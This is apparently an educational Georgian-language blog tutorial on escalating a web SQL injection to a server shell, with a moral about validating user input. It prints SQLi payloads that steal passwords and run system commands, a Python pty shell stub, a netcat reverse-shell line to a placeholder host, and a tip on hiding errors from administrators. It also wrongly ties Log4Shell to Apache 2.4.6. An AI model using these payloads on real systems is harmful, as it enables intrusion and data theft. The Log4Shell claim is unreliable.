HTTP-დან Shell-ში
პროტოკოლის ახსნა
HTTP(HyperText Transfer Protocol არის Layer 7 პროტოკოლი, ანუ Application Layer პროტოკოლი. ეს ნიშნავს, იმას, რომ ამ პროტოკოლს სჭირდება სხვა პროტოკოლები იმისთვის, რომ გამართულად იმუშაოს. ესენია: IP და TCP.
როგორ იზღუდება HTTP
HTTP არ არის ისეთი პროტოკოლი, საიდანაც რეალურ დროში კომუნიკაცია შეიძლება. ანუ, HTTP-ს გამოყენების დროს, კავშირი მაშინ წყდება, როდესაც გასაგზავნი ინფორმაცია იწურება. ეს შეიძლება იყოს .html, .css, .js ფაილები, ფოტოები, ვიდეოები და ა.შ.
სოკეტებისგან განსხვავებით, აქ არ გვაქვს ორმხრივი კომუნიკაციის შესაძლებლობა. სწორედ ამის გამოა შეუძლებელი interactive shell-ის მიღება HTTP-დან. მაგრამ, რა ხდება მაშინ, როდესაც HTTP-დან ვიღებთ Shell-ზე წვდომას?
ვებ სერვერები
ვებ სერვერების მოწყვლადობა ორი რამ შეიძლება იყოს:
- აპლიკაცია(ReactJS, NextJS, PHP Laravel)
- თვითონ სერვერი(Nginx, Apache)
არსებობს უამრავი CVE, რომლის PoC(Proof of Concept) კოდის მორგებაც შესაძლებელია ვებ სერვერზე, რის შედეგადაც Shell-ის მიღება შეიძლება.
მაგალითად, Apache 2.4.6 ვერსიაზე შესაძლებელი იყო ე.წ. Log4Shell ექსპლოიტის გამოყენება. ამ პრობლემას Java-ს Logging ბიბლიოთეკა, Log4J იწვევდა. რა თქმა უნდა, ეს პრობლემა მოგვარდა, მაგრამ უამრავი ვებ სერვერი დღემდე მოწყვლადია და შესაძლოა ემსხვერპლონ კიდეც ამ პრობლემას.
მოკლედ, რაც შეეხება თვითონ აპლიკაციას, შესაძლოა დეველოპერს დაავიწყდა მომხმარებლის მიერ შეყვანილი ინფორმაციის ვალიდაცია და ის პირდაპირ SQL Query-ში მიაქვს. ამან შესაძლოა SQLi(SQL Injection) გამოიწვიოს. მაგალითად:
1
2
3
$search_data = $_POST['username'];
$sql_query = 'SELECT phone FROM Users WHERE Users.username = "' . $search_data . '"';
აქ საკმაოდ დიდია იმის რისკი, რომ SQLi მოხდება. $sql_query-ს ანალიზით, დადგინდება, რომ თუ მომხმარებელი შეიყვანს Bob-ს, ასეთი გამოვა SQL Query:
1
SELECT phone FROM Users WHERE Users.username = "Bob"
მაგრამ, რა მოხდება მაშინ თუ მომხმარებელი დაწერს ამას:
1
" OR 1=1--
მოხდება კატასტროფა:
1
2
SELECT phone, email
FROM Users WHERE Users.username = "" OR 1=1--"
ეს უკვე SQL ინექციაა. რა თქმა უნდა, შესაძლებელია კრიტიკული ინფორმაციის მოპარვა:
1
" ORDER BY X
აქ X იქნება რიცხვი. ამით ჰაკერი დაადგენს თუ რამდენი column ბრუნდება მონაცემთა ბაზიდან. მაგალითად, აქ ორი column ბრუნდება, და ორივე string ტიპის მონაცემია. აქედან გამომდინარე, ჰაკერს შეუძლია ორი რამ წამოიღოს ბაზიდან ერთდროულად:
1
" UNION SELECT password, NULL FROM Users--
ეს არის ე.წ. UNION ტიპის შეტევა. ასეთი გამოდის საბოლოო სკრიპტი:
1
2
3
4
5
SELECT phone, email
FROM Users
WHERE Users.username = ""
UNION SELECT password, NULL
FROM Users--"
ეს უკვე აპლიკაციის ბრალია და არა თვითონ ვებ სერვერის. ასევე, რა თქმა უნდა, ვებ სერვერს წინ WAF უნდა იყოს დაყენებული, რათა ასეთი ტიპის შეტევები დაბლოკოს.
SQL shell?
რა თქმა უნდა, SQL ენიდან შესაძლებელია Shell-ში გადასვლა. მაგალითად, განვიხილოთ იგივე პრობლემა, მაგრამ ამჯერად SQL სერვერს აქვს ერთი დიდი პრობლემა: დეველოპერს დაავიწყდა იმ ფუნქციების გამორთვა, რომლებიც Shell-ში ბრძანებების გაშვების საშუალებას გვაძლევს.
შესაძლოა payload იყოს ასეთი:
1
" UNION SELECT system('uname -r'), NULL--
ეს წამოიღებს კერნელის ვერსიას. კერნელის ვერსიიდან გამომდინარე უკვე შესაძლებელი იქნება პრივილეგიის ესკალაციისათვის შესაბამისი ზომების მიღება. ანუ, თუ SQL სერვერმა მაინც სტანდარტული მომხმარებელი აჩუქა ჰაკერს, ჰაკერი შეძლებს root მომხმარებელზე წვდომის მოპოვებას(ეს ძალიან ზოგადი მაგალითია).
როგორ მოთავსდება payload ზემოთ მოყვანილ მაგალითში?
1
2
3
4
SELECT phone, email
FROM Users
WHERE Users.username = ""
UNION SELECT system('uname -r'), NULL FROM Users--"
ამის შემდეგ, ჰაკერს output ფრონტზე მიუვა. თუ ფრონტზე არ გამოჩნდა, მაშინ ის პროქსიდან დაინახავს პასუხს, როგორიცაა Burpsuite.
ისე კარგად მაინც ვერ ვართ…
ჰაკერმა თავი ისე უნდა იგრძნოს, როგორც თევზი გრძნობს თავს წყალში. მაგრამ ეს შეუძლებელი იქნება თუ Shell არ იქნება Interactive და არ იქნება კომფორტი.
ამის გამო, ჰაკერს სჭირდება ახალი მეთოდი, რათა Shell მიიღოს. ეს დიდ პრობლემას არ წარმოადგენს. შესაძლებელია მან პითონის სკრიპტი დაწეროს, რომელიც /bin/bash პროცესს შექმნის და მის STDIN, STDOUT და STDERR-ს სოკეტს მიაბამს:
1
2
3
4
5
6
7
8
9
import pty
import socket
# კოდი
pty.spawn("/bin/bash")
# კიდევ უფრო მეტი კოდი
# კიდევ უფრო მეტი კოდი
რაღაც მსგავსის აწყობა შეიძლება. შემდეგ, ამ ფაილს wget ან curl ბრძანებით ატვირთავს სერვერზე და გაუშვებს მას.
ლინუქსის process management-დან გამომდინარე, explt.py პროცესიდან დაიფორკება(Fork) ახალი პროცესი, რომელიც იქნება /bin/bash. მისი STDIN და STDOUT მიებმება სოკეტს, ხოლო ისიც შესაძლებელია, რომ STDERR წავიდეს /dev/null-ში, რათა პრობლემები სერვერის ადმინისტრატორისთვის კიდევ უფრო შეუმჩნეველი გახდეს.
განახლების მიღება
სოკეტიდან წამოსულ Shell-ს როდესაც დაიჭერს ჰაკერი, მას ექნება ყველაფრის შესაძლებლობა. პითონი რომც არ გამოიყენოს, ძალიან მარტივადაა შესაძლებელი ამის გაკეთება:
1
nc <IP> <PORT> -e /bin/bash&
ასე მიიღებს ჰაკერი ახალ “ნიჟარას” SQL-დან.
მორალი
იმის თქმა, რომ მხოლოდ Nginx ან Apache იწვევს პრობლემას სიცრუეა. კარგად უნდა დააკვირდეს დეველოპერი კოდს და ყველა შესაძლო გადაცდომა უნდა აღმოაჩინოს. ზემოთ მოყვანილ მაგალითში, მომხმარებლისგან მიღებული ინფორმაცია პირდაპირ ჯდება SQL query-ში და ეს იწვევს მთავარ პრობლემას.
რა თქმა უნდა, უამრავი სხვა მეთოდი არსებობს, HTTP-დან Shell-ის მისაღებად, მაგრამ SQLi ერთ-ერთი საუკეთესო თემაა, ამ ყველაფრის მარტივად ასახსნელად.